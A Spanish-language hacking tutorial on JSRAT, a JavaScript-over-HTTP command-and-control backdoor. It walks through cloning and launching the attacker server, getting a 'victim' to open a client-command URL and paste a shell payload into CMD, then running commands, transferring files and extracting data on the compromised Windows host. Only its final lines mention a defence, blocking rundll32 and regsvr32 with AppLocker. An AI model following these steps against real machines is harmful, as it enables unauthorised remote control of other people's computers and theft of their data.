JSRAT Mando y control con JavaScript Hacking
JSRAT Mando y control con JavaScript Hacking

JSRAT: Mando y control con JavaScript

JSRAT es un backdoor de mando y control (Command y control o C&C) para controlar las máquinas de las víctimas mediante JavaScript.

Este script basado en Python fue desarrollado como un backdoor para los ordenadores de las víctimas. JsRat utiliza payloads de JavaScript y el protocolo HTTP para la comunicación entre el servidor y los hosts de destino.

1. JSRAT

Hay varias herramientas de mando y control que pueden usar una variedad de métodos para ocultar el tráfico malicioso o ejecutar implantes en varios formatos. Casey Smith originalmente desarrolló una herramienta prototipo que usa JavaScript como payload y se conecta de nuevo a un servidor web que escucha. Un investigador de seguridad 3gstudent extendió el trabajo de Casey Smith y desarrolló JSRat en PowerShell, que proporciona algunas funcionalidades adicionales.

https://github.com/3gstudent/Javascript-Backdoor

Existen otras variaciones de esta herramienta en Python por lo que el host maestro puede ser una máquina Linux o Windows. De manera similar, otra herramienta de C&C que puede generar implantes JavaScript se llama PoshC2 de Nettitude.

https://github.com/nettitude/PoshC2

JSRat es una herramienta de comando y control que usa payloads JavaScript y el protocolo HTTP para la comunicación entre el servidor y los hosts de destino. Hay dos implementaciones: una en Python y otra en PowerShell, cuyo uso se describe a continuación.

2. Instalación y uso JsRat en Linux

Caso de Ejemplo 1

Para este tutorial he usado Kali Linux (Máquina atacante) y Windows 7 (Máquina Víctima). Debería funcionar igual para Windows 10.

  • Descargue la herramienta JSRAT:
https://github.com/aspiggy/JSRAT
  • Y ejecute los siguientes comandos:
git clone https://github.com/aspiggy/JSRAT
Instalación de JsRat en Linux
Instalación de JsRat en Linux
  • Accedemos a la carpeta que contiene el script y lo ejecutamos:
cd JSRAT/
python JSRAT.py -i <IP_Maquina_Atacante> -p 8080

La implementación Python de JSRat iniciará un servidor web y esperará a que se ejecute el comando del cliente.

Ejecutar JSRAT.py Linux
Ejecutar JSRAT.py en Linux
  • JSRAT proporciona una lista de URL. Copie el enlace de Client Command (en mi caso: http://192.168.1.17:8080/wtf), y abra esa URL con el navegador de la victima.
Client Command URL de la Victima
Client Command URL de la Victima
  • Para obtener la carga útil (payload) del shell generada por la URL debe abrir el CMD, pegar el contenido y pulsar la tecla Intro.
Ejecutar cargar útil en CMD
  • Una vez que el usuario visita la URL de mando del Cliente se establecerá una conexión con el host.
Mando y Control entre Linux y Windows
Mando y Control entre Linux y Windows

4. Control PC de la víctima

JSRat se puede usar para ejecutar comandos, ejecutar scripts o solo para la extracción de datos.

Los comandos se pueden ejecutar desde el shell de forma normal.

  • Comando para mostrar el dominio actual y el nombre de usuario:
whoami
whoami a Windows
whoami para identificar usuario en Windows
  • JSRat también puede leer, descargar o cargar archivos.
  • Comando ipconfig en máquina victima con Windows:
ipconfig en Windows
  • La ejecución de ejecutables y scripts también se puede realizar siguiendo una secuencia como:
run
calc.exe
Ejecución de calc.exe remotamente desde Linux
Ejecución de calc.exe remotamente desde Linux

5. Javascript-Backdoor(JSRat) en PowerShell

Alternativamente, también hay una implementación de PowerShell de este JSRat que puede realizar las mismas operaciones desde una consola de PowerShell. El script debe modificarse con la dirección IP del oyente antes de cualquier ejecución.

https://github.com/3gstudent/Javascript-Backdoor

Caso de Ejemplo 2

Para este tutorial he usado Windows 10 (Máquina atacante) y Windows 7 (Máquina Víctima).

  • El comando de carga útil que se debe ejecutar en el destino también se incluye en los comentarios del script.
Script JSRat con PowerShell
Script JSRat con PowerShell
  • Al ejecutar el comando de carga útil, se conectará al host victima y se obtendrá una consola.
Comando de carga útil en Windows
Comando de carga útil en Windows
  • Los comandos se pueden ejecutar en la victima como cualquier otro comando normal.
Comando y Control de Windows a Windows
Mando y Control de Windows a Windows

6. Conclusión

La principal ventaja de esta herramienta de mando y control es que es muy rápido y toda la comunicación se realiza a través de HTTP, que es un protocolo común. Como JSRat usa JavaScript, la detección de cargas útiles es difícil a menos que se supervise rundll32.

Habilitar y configurar AppLocker para denegar la ejecución de rundll32 y regsvr32 evitará el ataque. ¡Si te ha gustado, por favor compártelo! 🙂

My Cart Close (×)

Tu carrito está vacío
Ver tienda